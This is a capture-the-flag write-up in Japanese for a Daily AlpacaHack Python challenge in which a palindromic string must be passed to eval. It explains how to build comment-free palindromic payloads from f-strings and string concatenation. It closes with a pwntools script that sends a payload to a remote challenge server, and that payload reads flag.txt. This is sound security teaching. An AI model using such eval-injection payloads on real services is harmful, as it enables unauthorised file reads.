Daily AlpacaHack 2026/1/6 の write-up です。
まず、# でコメントアウトするのが想定解なんだろうと思います。
>>> s = 'print(1+2)#)2+1(tnirp' >>> assert s == s[::-1] >>> eval(s) 3
以降は、# を(というかコメントの類の機構を)縛った解法について考えてみます。
Python では*1文字列リテラルを並べて書くことで連結できます (ref)。
>>> assert 'a'"b" == 'ab'
また、f-string (ref) というものがあり、{} 内の式を実行時に評価したものを文字列中に含めることができます。
>>> f'{1+2}' '3' >>> f'{print(1+2)}' 3 'None'
前者では 1+2 の値が文字列として得られています。後者では 1+2 の値を出力し、それはそれとして print() の返り値の None が文字列として得られています。
REPL、このへんが若干 confusing で、初心者時代に勘違いしたような記憶があります。
>>> 1+2 3 >>> print(1+2) 3 >>> None >>> print(None) None
さておき、"" f"{...}" "}...{" f"" を考えます。"}...{" は f-string ではなく STRING であるため、中身がぐちゃぐちゃになっていても問題ありません。また、間を詰めると回文になっていることに注意します。
よって、前半が ""f"{print(1+2)}" となるようにして後半を合わせると次のようになります。
>>> s = '''""f"{print(1+2)}""})2+1(tnirp{"f""''' >>> s '""f"{print(1+2)}""})2+1(tnirp{"f""' >>> assert s == s[::-1] >>> eval(s) 3 'None})2+1(tnirp{'
print() される内容は 3 のみで、'None...' の部分は REPL 上で見えているだけの値です。
あとは、print(open('flag.txt')) を呼ぶようにすればよいですね。
from pwn import * p = remote("34.170.146.252", 34185) s = "{print(open('flag.txt').read())}'" s = f'''""f"{s}""{s[::-1]}"f""''' assert s == s[::-1] p.sendlineafter(b"> ", s.encode()) print(p.recvline(drop=True).decode())
以上です。author の想定別解はこれから読みます。
*1:他にも C 言語でも同様のことができます。